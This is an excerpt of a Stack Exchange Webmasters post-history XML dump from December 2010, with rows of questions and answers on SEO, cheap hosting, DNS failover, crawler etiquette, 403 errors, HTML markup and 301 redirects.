  <row Id="12565" PostHistoryTypeId="1" PostId="6290" RevisionGUID="c55f79f3-2d01-44ba-9b27-8e27f633aa1d" CreationDate="2010-12-04T07:39:33.400" UserId="3122" Text="Tags\Keywords Optimization" />
  <row Id="12566" PostHistoryTypeId="3" PostId="6290" RevisionGUID="c55f79f3-2d01-44ba-9b27-8e27f633aa1d" CreationDate="2010-12-04T07:39:33.400" UserId="3122" Text="&lt;seo&gt;&lt;tags&gt;" />
  <row Id="12567" PostHistoryTypeId="2" PostId="6291" RevisionGUID="c9899417-cbff-449a-b83c-0987049459a6" CreationDate="2010-12-04T10:34:54.427" UserId="3610" Text="Something like:&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;keywords&quot; content=&quot;iron man, iron man wallpaper , wallpaper&quot; /&gt;&#xD;&#xA;" />
  <row Id="12568" PostHistoryTypeId="2" PostId="6292" RevisionGUID="62eaef4a-5b69-411e-8f1b-1f758fc9f400" CreationDate="2010-12-04T10:41:45.560" UserId="3655" Text="I'm a Ruby-on-Rails developer but am trying to develop a site to run on a GoDaddy Economy hosting account.  This means I don't have Ruby and Rails available so I've decided to go with PHP 5 since the economy hosting *does* provide that.  So to ease development I want a PHP framework (ideally Rails-like like, say, Akelos) that I can install and configure on my GoDaddy site *without having shell access to the hosting server*.&#xD;&#xA;&#xD;&#xA;Does anybody have any recommendations or experience with similar?&#xD;&#xA;" />
  <row Id="12569" PostHistoryTypeId="1" PostId="6292" RevisionGUID="62eaef4a-5b69-411e-8f1b-1f758fc9f400" CreationDate="2010-12-04T10:41:45.560" UserId="3655" Text="PHP framework to use on GoDaddy host with no shell access" />
  <row Id="12570" PostHistoryTypeId="3" PostId="6292" RevisionGUID="62eaef4a-5b69-411e-8f1b-1f758fc9f400" CreationDate="2010-12-04T10:41:45.560" UserId="3655" Text="&lt;web-hosting&gt;&lt;php&gt;&lt;ruby-on-rails&gt;" />
  <row Id="12571" PostHistoryTypeId="2" PostId="6293" RevisionGUID="1a464699-82ad-4a5c-b471-43aad54aff13" CreationDate="2010-12-04T11:27:13.460" UserId="1757" Text="[CakePHP][1] is similar to RoR, but the `bake` utility is a console app. You could bake your code locally and upload it to your GoDaddy account though. However, you'll have to do all of your unit testing via the browser or do it locally if you want to test via the CLI. It's a bit less convenient, but that's the cost of choosing an economy hosting package.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cakephp.org/" />
  <row Id="12572" PostHistoryTypeId="2" PostId="6294" RevisionGUID="e6676ab1-f595-4fc7-8738-def25286c6a2" CreationDate="2010-12-04T11:33:48.243" UserId="3656" Text="i have a theme,&#xD;&#xA;in that i dont have a static home page,&#xD;&#xA;my latest posts is my home page,&#xD;&#xA;but i want to add a drop-down box which i have coded on my starting home page,&#xD;&#xA;which should remain static(just for home section), for this i tried to code it in index.php, but the problem is the box outside that(i dont know what it is said) is not coming,&#xD;&#xA;i mean that the post is wrapped in a box content, same i want for my drop-down menu&#xD;&#xA;just check this image, check for HELLO text&#xD;&#xA;&#xD;&#xA;http://i55.tinypic.com/bgvkgx.jpg&#xD;&#xA;&#xD;&#xA;normally it is coming in simple line, but i want it to be wrapped in a box, like the posts&#xD;&#xA;&#xD;&#xA;i know i just need to put a small div and p tag but i tried, maybe my position is wrong,&#xD;&#xA;can anyone help me here " />
  <row Id="12573" PostHistoryTypeId="1" PostId="6294" RevisionGUID="e6676ab1-f595-4fc7-8738-def25286c6a2" CreationDate="2010-12-04T11:33:48.243" UserId="3656" Text="home page and div tag help" />
  <row Id="12574" PostHistoryTypeId="3" PostId="6294" RevisionGUID="e6676ab1-f595-4fc7-8738-def25286c6a2" CreationDate="2010-12-04T11:33:48.243" UserId="3656" Text="&lt;homepage&gt;" />
  <row Id="12575" PostHistoryTypeId="2" PostId="6295" RevisionGUID="0510a36f-ecf9-4196-831a-32e73bf7370e" CreationDate="2010-12-04T12:06:05.987" UserId="2616" Text="If it doesn't need be unique (or heavily branded), I use a place like themeforest.net" />
  <row Id="12576" PostHistoryTypeId="2" PostId="6296" RevisionGUID="51b7be9e-9345-4bde-bc7e-d125906613aa" CreationDate="2010-12-04T13:12:25.217" UserId="3656" Text="i have a php function to display all my custom taxonomies in a drop-down list,&#xD;&#xA;but i dont like the drop down menu style, i want to change the looks of it, how can i customize its looks" />
  <row Id="12577" PostHistoryTypeId="1" PostId="6296" RevisionGUID="51b7be9e-9345-4bde-bc7e-d125906613aa" CreationDate="2010-12-04T13:12:25.217" UserId="3656" Text="css style to drop-down list" />
  <row Id="12578" PostHistoryTypeId="3" PostId="6296" RevisionGUID="51b7be9e-9345-4bde-bc7e-d125906613aa" CreationDate="2010-12-04T13:12:25.217" UserId="3656" Text="&lt;css&gt;" />
  <row Id="12579" PostHistoryTypeId="2" PostId="6297" RevisionGUID="dcb9a85b-a3c6-4c3f-9211-eab824701332" CreationDate="2010-12-04T13:16:02.680" UserId="3545" Text="I am developing a site for a client who is emphasizing &quot;no downtime allowed&quot;. Now even cloud hosting doesn't provide a 100% uptime promise, so I've been thinking about mirrored hosting, where if one host goes down, the other takes over. I am unsure how I'd go about setting the DNS to switch on an outage and this is running low budget, as it's a non-profit organization. If anyone has experience doing this, I'd like to know the best way to go about it.&#xD;&#xA;&#xD;&#xA;The site is LAMP. I did think about adding disallow in the robots.txt for the duplicate site to avoid SEO penalties, but other than that am running blind, so any advice would be gladly received. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="12580" PostHistoryTypeId="1" PostId="6297" RevisionGUID="dcb9a85b-a3c6-4c3f-9211-eab824701332" CreationDate="2010-12-04T13:16:02.680" UserId="3545" Text="Site redundancy options" />
  <row Id="12581" PostHistoryTypeId="3" PostId="6297" RevisionGUID="dcb9a85b-a3c6-4c3f-9211-eab824701332" CreationDate="2010-12-04T13:16:02.680" UserId="3545" Text="&lt;dns&gt;&lt;downtime&gt;&lt;mirror&gt;" />
  <row Id="12582" PostHistoryTypeId="2" PostId="6298" RevisionGUID="004a4b36-142d-4b89-9a18-826308e05f5e" CreationDate="2010-12-04T13:26:40.503" UserId="3545" Text="Well, this isn't something easily answered in this context. Essentially, you will need to get the CSS ID and Classes from your menu's HTML and cross-reference that with the CSS. &#xD;&#xA;&#xD;&#xA;In the CSS, you can then do anything you like to the represented ID and Classes to customize the looks. Obviously, there are many pitfalls, so take a backup before you start to play around.&#xD;&#xA;&#xD;&#xA;Alternatively, you may just like to use a ready-made solution, in which case you can take a look at [CSS Menus](http://cssmenus.co.uk/dropdown.html) or [CSS Play](http://www.cssplay.co.uk/) for some good ideas." />
  <row Id="12583" PostHistoryTypeId="2" PostId="6299" RevisionGUID="2cb51da3-d607-4234-bb4c-46b580cb7971" CreationDate="2010-12-04T13:43:40.240" UserId="3545" Text="I found the answer on another question, I feel pretty silly as I already knew this--I was just looking for something more complex when the answer was in fact simple.&#xD;&#xA;	&#xD;&#xA;&gt; Each provider should provide a list of the&#xD;&#xA;&gt; DNS servers to use while registering&#xD;&#xA;&gt; your domain. It may look something&#xD;&#xA;&gt; like this:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     NS1.ACME.COM&#xD;&#xA;&gt;     NS2.ACME.COM&#xD;&#xA;&gt;     NS1.EXAMPLE.COM&#xD;&#xA;&gt;     NS2.EXAMPLE.COM&#xD;&#xA;&gt; &#xD;&#xA;&gt; You enter all 4 of these DNS servers&#xD;&#xA;&gt; in when you register your domain (or&#xD;&#xA;&gt; in the editing of your domain&#xD;&#xA;&gt; properties). As a result, if&#xD;&#xA;&gt; acme.com's DNS servers go down, then&#xD;&#xA;&gt; example.com's servers will take over.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12584" PostHistoryTypeId="2" PostId="6300" RevisionGUID="c2e4b38e-e777-4f9d-bf7b-b3b092803cbc" CreationDate="2010-12-04T14:24:07.477" UserId="1253" Text="At the price you're talking about your options are going to be limited and the quality of work you get may be less then desirable. Good designers don't work cheap but they give you good value for your money. &#xD;&#xA;&#xD;&#xA;You could try craigslist for sure but being that is trafficked by US visitors more then anything else I doubt you'll have much luck there. I'd see if you could find design and development forums that let you post job availabilities. They tend to be trafficked by international members which is your best bet to reach the price you're hoping for." />
  <row Id="12585" PostHistoryTypeId="2" PostId="6301" RevisionGUID="858a8fd0-13dc-4570-bb8c-d67f87e4d0fc" CreationDate="2010-12-04T15:05:06.743" UserDisplayName="Katrine" Text="- Image of website owner&#xD;&#xA;- Under construction animated gif&#xD;&#xA;- visible hit counter&#xD;&#xA;- visible tables&#xD;&#xA;- repeating backgrounds&#xD;&#xA;- monospace typefaces&#xD;&#xA;- generic link colours (blue, purple, red)&#xD;&#xA;- drop-down menus&#xD;&#xA;- making each menu item a different colour&#xD;&#xA;- bulleted lists&#xD;&#xA;- &quot;Click here!&quot;-links&#xD;&#xA;- clip art&#xD;&#xA;- background music&#xD;&#xA;- grotesque layout (everything is distanced evenly/has same size)&#xD;&#xA;- Times New Roman typeface&#xD;&#xA;- heavy, almost psychedelic gradients&#xD;&#xA;- borders around images&#xD;&#xA;- everything geocities, basically" />
  <row Id="12586" PostHistoryTypeId="2" PostId="6302" RevisionGUID="8f72fa3b-b8cf-4d9a-a836-8da8c27e5fd2" CreationDate="2010-12-04T15:35:12.407" UserId="1429" Text="What about www.templatemonster.com, would be these cheap enough for you.&#xD;&#xA;&#xD;&#xA;But graphic art, as stated by the word itself is an &quot;art&quot;, and it's very subjective, what I might like so much, it might be something taht you totally dislike. So it's good to have at least 3/4 possible design to choose among, and 99design.com gives you exactly this, therefor it might be worth the price." />
  <row Id="12587" PostHistoryTypeId="5" PostId="6302" RevisionGUID="92089434-cfc7-47df-84df-67b9c6e8bc79" CreationDate="2010-12-04T15:50:41.283" UserId="1429" Comment="added 20 characters in body" Text="What about www.templatemonster.com, would be these cheap enough for you (still not uniques).&#xD;&#xA;&#xD;&#xA;But graphic art, as stated by the word itself is an &quot;art&quot;, and it's very subjective, what I might like so much, it might be something taht you totally dislike. So it's good to have at least 3/4 possible design to choose among, and 99design.com gives you exactly this, therefor it might be worth the price." />
  <row Id="12588" PostHistoryTypeId="2" PostId="6303" RevisionGUID="50ada3eb-5f0c-42dd-8345-38a94e0a099d" CreationDate="2010-12-04T16:09:50.313" UserId="1647" Text="In your case, the solution should be at least 2 servers with the same content and a frontend proxy which proxies the traffic to the servers and handles failover in case one server is down.&#xD;&#xA;&#xD;&#xA;But it is a quite complex configuration and you probably need to hire a sysadm to configure and manage it unless you know what you are doing." />
  <row Id="12589" PostHistoryTypeId="2" PostId="6304" RevisionGUID="d2017c34-69b7-4945-9db8-62e49448d228" CreationDate="2010-12-04T16:33:54.367" UserId="1703" Text="Does anyone know of a all-in-one privacy policy generator that they have used and can recommend?" />
  <row Id="12590" PostHistoryTypeId="1" PostId="6304" RevisionGUID="d2017c34-69b7-4945-9db8-62e49448d228" CreationDate="2010-12-04T16:33:54.367" UserId="1703" Text="Privacy policy generator" />
  <row Id="12591" PostHistoryTypeId="3" PostId="6304" RevisionGUID="d2017c34-69b7-4945-9db8-62e49448d228" CreationDate="2010-12-04T16:33:54.367" UserId="1703" Text="&lt;privacy-policy&gt;" />
  <row Id="12592" PostHistoryTypeId="2" PostId="6305" RevisionGUID="577e3ce1-94e7-41c0-b44a-786579d3ebbf" CreationDate="2010-12-04T16:35:07.537" UserId="3594" Text="I'm the primary designer and author of a fairly large-scale web crawler  (see http://metadatalabs.com/mlbot).  What you're asking touches on a topic that's very important to us--perhaps the most important part of running a crawler:  that of politeness.&#xD;&#xA;&#xD;&#xA;First: the reason for the &quot;Mozilla&quot; thing is to tell the site what your browser capabilities are.  If your bot isn't trying to act like a browser, there's no particular reason you need to include the &quot;Mozilla&quot; thing.&#xD;&#xA;&#xD;&#xA;As for your user agent string and other politeness-related items:&#xD;&#xA;&#xD;&#xA;1. Select a name that you know nobody else is using.  I suspect that if you use &quot;Goofybot&quot;, you'll be fine.  But I'd check it out to be sure.&#xD;&#xA;&#xD;&#xA;2. Your user agent string should include a link to more information about the bot.  For example, our string reads &quot;MLBot (www.metadatalabs.com/mlbot)&quot;.&#xD;&#xA;&#xD;&#xA;3. Make sure that if somebody searches for &quot;Goofybot&quot;, that page is high (preferably first) in the search results.&#xD;&#xA;&#xD;&#xA;4. Your page about the bot should say what you're using the information for, what IP addresses you crawl from, and include a way for people to contact you about problems with the bot.&#xD;&#xA;&#xD;&#xA;5. You should respond to any questions or complaints quickly, using the &quot;customer is always right&quot; philosophy.  Remember, if your bot caused a problem that this person is complaining about then it probably caused problems on a dozen other sites that nobody complained about.  They either didn't see the problems or they just put a block on your IP address.&#xD;&#xA;&#xD;&#xA;6. Your should build in the facility to prevent your bot from accessing a particular domain name.  Some people won't want you to crawl at all and don't have the access or technical ability to create a robots.txt or block in .htaccess.  We found that this ability lets us tell somebody, &quot;We're sorry MLBot caused a problem.  We have instructed it never to crawl your site again.&quot;  Perhaps not surprisingly, that calms people down very quickly.&#xD;&#xA;&#xD;&#xA;7. If you don't already respect robots.txt, do it.  Nothing will get you a bad reputation faster than ignoring robots.txt.&#xD;&#xA;&#xD;&#xA;Wow.  That went on longer than I expected.  In the past four years, I've made every one of those mistakes I allude to above, and others besides.  We found, however, that if we're open about what we're doing and communicate honestly (including posting information about mistakes before we get complaints), the majority of Webmasters view us as a good Internet citizen.&#xD;&#xA;" />
  <row Id="12593" PostHistoryTypeId="2" PostId="6306" RevisionGUID="13b93133-abd8-4eb6-90c8-3ccf0e03e416" CreationDate="2010-12-04T18:53:27.597" UserDisplayName="grautur" Text="I had a couple private files in a directory on my school folder. You could see that the files existed by going to myschool.edu/myusername/myfolder, but trying to access the files themselves via myschool.edu/myusername/myfolder/myfile.html returns a 403 error.&#xD;&#xA;&#xD;&#xA;And yet Google somehow managed to grab the contents of those private files and store them in its cache! How is this possible? [I've since removed those files, so I'm just curious how Google managed to do this.]" />
  <row Id="12594" PostHistoryTypeId="1" PostId="6306" RevisionGUID="13b93133-abd8-4eb6-90c8-3ccf0e03e416" CreationDate="2010-12-04T18:53:27.597" UserDisplayName="grautur" Text="How did Google manage to crawl my 403 pages?" />
  <row Id="12595" PostHistoryTypeId="3" PostId="6306" RevisionGUID="13b93133-abd8-4eb6-90c8-3ccf0e03e416" CreationDate="2010-12-04T18:53:27.597" UserDisplayName="grautur" Text="&lt;security&gt;&lt;web-crawlers&gt;&lt;web-security&gt;&lt;google-crawlers&gt;" />
  <row Id="12596" PostHistoryTypeId="17" PostId="6306" RevisionGUID="a8dbc36d-0551-4d98-8413-1d7cf505b258" CreationDate="2010-12-04T19:01:24.463" UserId="-1" Comment="from http://stackoverflow.com/questions/4355218/how-did-google-manage-to-crawl-my-403-pages" Text="" />
  <row Id="12597" PostHistoryTypeId="2" PostId="6307" RevisionGUID="a1969370-dc26-42ee-8396-dd823919a6f9" CreationDate="2010-12-04T19:37:58.887" UserDisplayName="WiskyWilso" Text="I link to my CV with the following:&#xD;&#xA;&#xD;&#xA;     &lt;li&gt;&lt;a href=&quot;http://example.com/cv&quot;&gt;CV&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#xD;&#xA;However, should I have/would you recommend I have:&#xD;&#xA;&#xD;&#xA;     &lt;li&gt;&lt;a href=&quot;http://example.com/cv&quot;&gt;&lt;abbr title=&quot;Curriculum vitae&quot;&gt;CV&lt;/abbr&gt;&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;&#xD;&#xA;Is the nesting of those tags ok to do/semantically appropriate, etc.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" />
  <row Id="12598" PostHistoryTypeId="1" PostId="6307" RevisionGUID="a1969370-dc26-42ee-8396-dd823919a6f9" CreationDate="2010-12-04T19:37:58.887" UserDisplayName="WiskyWilso" Text="Can/should I nest the html abbr tag within a link?" />
  <row Id="12599" PostHistoryTypeId="3" PostId="6307" RevisionGUID="a1969370-dc26-42ee-8396-dd823919a6f9" CreationDate="2010-12-04T19:37:58.887" UserDisplayName="WiskyWilso" Text="&lt;xhtml&gt;" />
  <row Id="12600" PostHistoryTypeId="2" PostId="6308" RevisionGUID="d4b4b5fb-8d90-41c5-9fd3-5804e68a6b90" CreationDate="2010-12-04T20:11:05.723" UserId="3453" Text="The most probable reason is that the pages won't return a 403 header.&#xD;&#xA;&#xD;&#xA;You can check that using the Web Developer Toolbar in Firefox or Chrome. The tool is located under &quot;Information&quot; -&gt; &quot;View Response Headers&quot;.&#xD;&#xA;&#xD;&#xA;Also, the way I create my error pages is:&#xD;&#xA;&#xD;&#xA; 1. I create some dummy error page. Let's say **403.php**.&#xD;&#xA; 2. I create an actual error page. For example **error403.php**. &#xD;&#xA; 3. On the dummy error page, I put the following code: `&lt;?php header(&quot;Location: /error403.php&quot;,TRUE,301); ?&gt;`&#xD;&#xA; 4. In my .htaccess, I put the following: &#xD;&#xA;&#xD;&#xA;    `Options -Indexes` &#xD;&#xA;&#xD;&#xA;    `ErrorDocument 403 /403.php`&#xD;&#xA;&#xD;&#xA;This adds all the redirects in a proper way and makes me sure I'm getting some juice from my error pages.&#xD;&#xA;&#xD;&#xA;This can actually be extended in an extremely cool way if your website has a search engine which uses GET requests." />
  <row Id="12601" PostHistoryTypeId="2" PostId="6309" RevisionGUID="c045edfd-5d08-470d-8236-c04e685b2400" CreationDate="2010-12-04T20:23:59.303" UserId="3453" Text="Yes, you can and this is the right way to do it.&#xD;&#xA;&#xD;&#xA;Whether you **should** - that's up to your needs. It's not a must at all." />
  <row Id="12602" PostHistoryTypeId="2" PostId="6311" RevisionGUID="83fcb38c-ea5c-46ef-8ecb-ddbd072e8ac8" CreationDate="2010-12-04T18:05:48.270" UserDisplayName="tudo75" Text="You can try altervista.org&#xD;&#xA;give you a free third level domain " />
  <row Id="12603" PostHistoryTypeId="2" PostId="6310" RevisionGUID="20609b76-bb2c-42f3-8878-89af5167fc2a" CreationDate="2010-12-04T18:00:14.070" UserDisplayName="Igor" Text="please advise me simple web hosting. Just I want to upload webpage (simple) which I created and I don't need wizards or generators." />
  <row Id="12604" PostHistoryTypeId="1" PostId="6310" RevisionGUID="20609b76-bb2c-42f3-8878-89af5167fc2a" CreationDate="2010-12-04T18:00:14.070" UserDisplayName="Igor" Text="Simple free web hosting to place my web page" />
  <row Id="12605" PostHistoryTypeId="3" PostId="6310" RevisionGUID="20609b76-bb2c-42f3-8878-89af5167fc2a" CreationDate="2010-12-04T18:00:14.070" UserDisplayName="Igor" Text="&lt;free&gt;&lt;web-hosting&gt;" />
  <row Id="12606" PostHistoryTypeId="17" PostId="6310" RevisionGUID="7ad6c612-ffc8-4ea2-9a94-1e7e77ffc413" CreationDate="2010-12-04T20:27:16.507" UserId="-1" Comment="from http://stackoverflow.com/questions/4354956/simple-free-web-hosting-to-place-my-web-page" Text="" />
  <row Id="12607" PostHistoryTypeId="2" PostId="6312" RevisionGUID="4b086cc9-28bf-43b7-9426-6c9dafec3f99" CreationDate="2010-12-04T20:28:23.957" UserId="2707" Text="I would totally do this, but I wouldn't stop there. I'd throw a little Microdata in there also, making it:&#xD;&#xA;&#xD;&#xA;`&lt;li&gt;&lt;a href=&quot;http://example.com/cm&quot; rel=&quot;me&quot;&gt;&lt;abbr title=&quot;Curriculm vitae&quot;&gt;CV&lt;/abbr&gt;&lt;/a&gt;&lt;/li&gt;`&#xD;&#xA;&#xD;&#xA;I'd go one step further if you're using &lt;a href=&quot;http://microformats.org/wiki/hcard&quot;&gt;hCard&lt;/a&gt; and add a `class=&quot;url&quot;` but that's probably overkill for you. I'd defiantly put the `rel=&quot;me&quot;` in there though." />
  <row Id="12608" PostHistoryTypeId="2" PostId="6313" RevisionGUID="5919b78d-eed3-457e-86e0-09a3969fda6f" CreationDate="2010-12-04T20:29:12.963" UserId="3453" Text="Oh you are just gonna *love* [this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wonder-tonic.com/geocitiesizer/" />
  <row Id="12609" PostHistoryTypeId="5" PostId="5135" RevisionGUID="60ad4025-2b0f-4899-9883-e2bbf7f2836a" CreationDate="2010-12-04T20:32:08.913" UserDisplayName="Pierre 303" Comment="added 101 characters in body" Text="I want to build a website for a retro thing that **was** popular in the mid 90s (beginning of the commercial internet).&#xD;&#xA;&#xD;&#xA;So I want use *old designs* that was very popular at that time.&#xD;&#xA;&#xD;&#xA;The first thing that comes to my mind was those &quot;`under construction`&quot; animated gifs. People often put animated gifs everywhere.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;But also those awful repeating [backgrounds][2].&#xD;&#xA;&#xD;&#xA;So yes, I want my website to look exactly like in the mid nineties ;)&#xD;&#xA;&#xD;&#xA;(please suggest practical and usable features, I guess an Java Applet menu would not work today, or saying on the bottom that this website is optimized for Netscape 3)&#xD;&#xA;&#xD;&#xA;**EDIT**: for those that wants to see the result: [Retrology][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/tM18j.gif&#xD;&#xA;  [2]: http://www.free-backgrounds.com/shtml/patterns/bg0009.shtml&#xD;&#xA;  [3]: http://www.retrology.fm/" />
  <row Id="12610" PostHistoryTypeId="2" PostId="6314" RevisionGUID="ff5d05a3-1651-41f1-8138-62ac9cfd1ab8" CreationDate="2010-12-04T20:34:33.270" UserId="3453" Text="Try 000webhost.com or freehostia.com." />
  <row Id="12611" PostHistoryTypeId="2" PostId="6315" RevisionGUID="6aa40052-08f4-4e8e-9490-4da721387b83" CreationDate="2010-12-04T20:38:49.570" UserId="3453" Text="If you are a Rails developer, your best choice would be to develop a Rails application. There are awesome web hosts out there like Site5 which will be happy to assist you with whatever Rails issues you have. You can check [this][1] page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.site5.com/hosting/web/#programming_languages" />
  <row Id="12612" PostHistoryTypeId="5" PostId="6315" RevisionGUID="ed68f59a-a4b3-48a1-a8d7-4e82e6630b40" CreationDate="2010-12-04T20:49:02.870" UserId="3453" Comment="added 59 characters in body" Text="If you are a Rails developer, your best choice would be to develop a Rails application. There are awesome web hosts out there like Site5 which will be happy to assist you with whatever Rails issues you have. You can check [this][1] page.&#xD;&#xA;&#xD;&#xA;Also, they let you use SSH if you are still up for PHP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.site5.com/hosting/web/#programming_languages" />
  <row Id="12613" PostHistoryTypeId="2" PostId="6316" RevisionGUID="2c588e7a-7bfc-44ed-ab6b-15f600969e61" CreationDate="2010-12-04T21:23:44.387" UserId="3662" Text="This may seem a little... out there, but have any studies been conducted about the psychological or even physical aspects of viewing a web page? &#xD;&#xA;&#xD;&#xA;For example, psychologically, what makes a good or bad first impression? What the user is most likely to respond to and most likely to ignore? Physically, where do the user's eyes naturally gravitate to when first viewing a web page?&#xD;&#xA;&#xD;&#xA;Things like that which involve how a user thinks and behaves regarding the look &amp; feel of a website.&#xD;&#xA;&#xD;&#xA;There exists [another question][1], which answers some of these, but it focuses on loading times. &#xD;&#xA;&#xD;&#xA;My biggest concern is the look &amp; feel -- how do the users view the page? What kinds of things are attractive and keep their attention? Do people really like glossy social media icons everywhere? What kinds of features will make a user likely to leave?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/568/if-a-page-takes-too-long-to-load-after-how-long-will-a-user-give-up-and-re-load" />
  <row Id="12614" PostHistoryTypeId="1" PostId="6316" RevisionGUID="2c588e7a-7bfc-44ed-ab6b-15f600969e61" CreationDate="2010-12-04T21:23:44.387" UserId="3662" Text="Are there any studies regarding the psychology of viewing web pages?" />
  <row Id="12615" PostHistoryTypeId="3" PostId="6316" RevisionGUID="2c588e7a-7bfc-44ed-ab6b-15f600969e61" CreationDate="2010-12-04T21:23:44.387" UserId="3662" Text="&lt;users&gt;&lt;studies&gt;" />
  <row Id="12616" PostHistoryTypeId="2" PostId="6317" RevisionGUID="8edceaeb-416b-467e-9f26-8449ea64ae45" CreationDate="2010-12-04T21:38:27.630" UserId="2027" Text="I have current blog, which was hosted on Tumblr at http://blog.ryanhayes.net.  I'm moving it over to http://ryanhayes.net, and have all the 301 redirects set up for the blog entries to map to my new blog, which is hosted using Godaddy (domain included).  When I try to set up a subdomain forward, I'm greeted with a nice 403 Forbidden response (as of this writing, you can see it at http://blog.ryanhayes.net.  When I try to ping both the subdomain and domain, they point to the same IP address, so I know blog subdomain has at least switched over to point to the same content.&#xD;&#xA;&#xD;&#xA;My question is what is the proper way to set up my DNS to make the blog subdomain forward to my main domain (301) using the GoDaddy DNS manager?" />
  <row Id="12617" PostHistoryTypeId="1" PostId="6317" RevisionGUID="8edceaeb-416b-467e-9f26-8449ea64ae45" CreationDate="2010-12-04T21:38:27.630" UserId="2027" Text="Forwarding a subdomain to main domain using Godaddy." />
  <row Id="12618" PostHistoryTypeId="3" PostId="6317" RevisionGUID="8edceaeb-416b-467e-9f26-8449ea64ae45" CreationDate="2010-12-04T21:38:27.630" UserId="2027" Text="&lt;domains&gt;&lt;dns&gt;&lt;subdomain&gt;&lt;godaddy&gt;" />
  <row Id="12619" PostHistoryTypeId="5" PostId="6317" RevisionGUID="9d791491-b17e-4bb4-a5b1-fa29e7da92c6" CreationDate="2010-12-04T21:46:15.513" UserId="2027" Comment="added 566 characters in body" Text="I have current blog, which was hosted on Tumblr at http://blog.ryanhayes.net.  I'm moving it over to http://ryanhayes.net, and have all the 301 redirects set up for the blog entries to map to my new blog, which is hosted using Godaddy (domain included).  When I try to set up a subdomain forward, I'm greeted with a nice 403 Forbidden response (as of this writing, you can see it at http://blog.ryanhayes.net.  When I try to ping both the subdomain and domain, they point to the same IP address, so I know blog subdomain has at least switched over to point to the same content.  I don't really understand why I would get a 403 Forbidden on the same content that I can see perfectly fine via another domain.&#xD;&#xA;&#xD;&#xA;Currently, I have a **CNAME of blog pointing to @**, which is how &quot;www&quot; is set up to forward, so I'm assuming it would do the same thing.&#xD;&#xA;&#xD;&#xA;My question is what is the proper way to set up my DNS to make the blog subdomain forward to my main domain (301) using the GoDaddy DNS manager?&#xD;&#xA;&#xD;&#xA;Bonus: What is the background on why I am getting a 403 error the current way?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Forbidden&#xD;&#xA;---------&#xD;&#xA;&#xD;&#xA;You don't have permission to access / on this server.&#xD;&#xA;Additionally, a 403 Forbidden error was encountered while trying to use an ErrorDocument to handle the request.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12620" PostHistoryTypeId="2" PostId="6318" RevisionGUID="4bac5825-20f2-4e0c-8eb7-8672ea65fa24" CreationDate="2010-12-04T22:58:26.457" UserId="2707" Text="I understand that the client is always right, but I think it would be in your (and his) best interest that this is an unattainable goal. There are reasons why hosts don't promised 100% uptime: because they can't anticipate the future.&#xD;&#xA;&#xD;&#xA;I once had a client like this that started complaining when his website went down for the first time in 6 months. I explained to the client that web hosts are much like power companies. When the power goes out, what do you do?&#xD;&#xA;&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;Call into the power company to explain your outage/complain&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Nothing and wait for the power to come back on&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;Most hosts promise a 99.x% uptime per month. The client needs to understand that that's usually under an hour a month and sometimes that downtime doesn't all sites. Is the amount of sales they lose during those couple of minutes a month justify paying double for hosting? And in your case, the client is a non-profit with a low budget, so that question seems to answer itself.&#xD;&#xA;&#xD;&#xA;The other issue is that no solution is perfect for this job. Sure, you could name fallbacks for DNS, but that only works if the DNS server goes down. And you could play around with some complex proxy settings, but that costs money that your client has made clear it doesn't/can't spend." />
  <row Id="12621" PostHistoryTypeId="2" PostId="6319" RevisionGUID="30f2fa3c-8a94-4434-af46-7e4bd8abaeb7" CreationDate="2010-12-04T23:05:32.813" UserId="3664" Text="There is a new Freelance site http://2contests.com which is similar to most freelance sites. It is relatively new so prices are still low. Posting a web design contest starts as low as $150." />
  <row Id="12622" PostHistoryTypeId="2" PostId="6320" RevisionGUID="3824e3e8-9137-4193-ab6c-3867db8d63a4" CreationDate="2010-12-04T23:10:27.683" UserId="2707" Text="As to email, look at moving them to Google Apps and Gmail. Very high uptime, always accessible via POP/IMAP, free, and large amount of storage.&#xD;&#xA;&#xD;&#xA;http://www.google.com/apps/intl/en/group/index.html&#xD;&#xA;&#xD;&#xA;All you have to do is point the DNS to Google server's (the set up process walks you through it).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12623" PostHistoryTypeId="2" PostId="6321" RevisionGUID="f18cd354-e92f-4bbf-a38c-6f966fdcaaa7" CreationDate="2010-12-04T23:56:52.297" UserId="3625" Text="I have just converted a website to WordPress. The old site has hundreds of hard-coded html files, and the new site does not match the old site's directory structure or file naming system (bad SEO in the original site), so I can't place any &quot;blanket&quot; 301 redirects. Its been at least 2 months, and the old links are still appearing in Google searches, despite a google-friendly sitemap.xml.&#xD;&#xA;&#xD;&#xA;Do I need to hardcode a 301 for every individual page in my htaccess file, or am I just misunderstanding 301s and apache? Is there some other way I can update Google about the fact that my entire site structure has changed?" />
  <row Id="12624" PostHistoryTypeId="1" PostId="6321" RevisionGUID="f18cd354-e92f-4bbf-a38c-6f966fdcaaa7" CreationDate="2010-12-04T23:56:52.297" UserId="3625" Text="Is there an easier way to implement 301 redirects when converting a site to WordPress" />
  <row Id="12625" PostHistoryTypeId="3" PostId="6321" RevisionGUID="f18cd354-e92f-4bbf-a38c-6f966fdcaaa7" CreationDate="2010-12-04T23:56:52.297" UserId="3625" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;apache&gt;&lt;redirects&gt;&lt;google-search&gt;" />
